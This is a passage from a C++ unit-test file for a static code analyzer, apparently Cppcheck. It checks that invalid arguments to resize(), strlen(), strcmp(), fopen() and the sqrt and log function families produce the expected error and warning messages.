[invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n 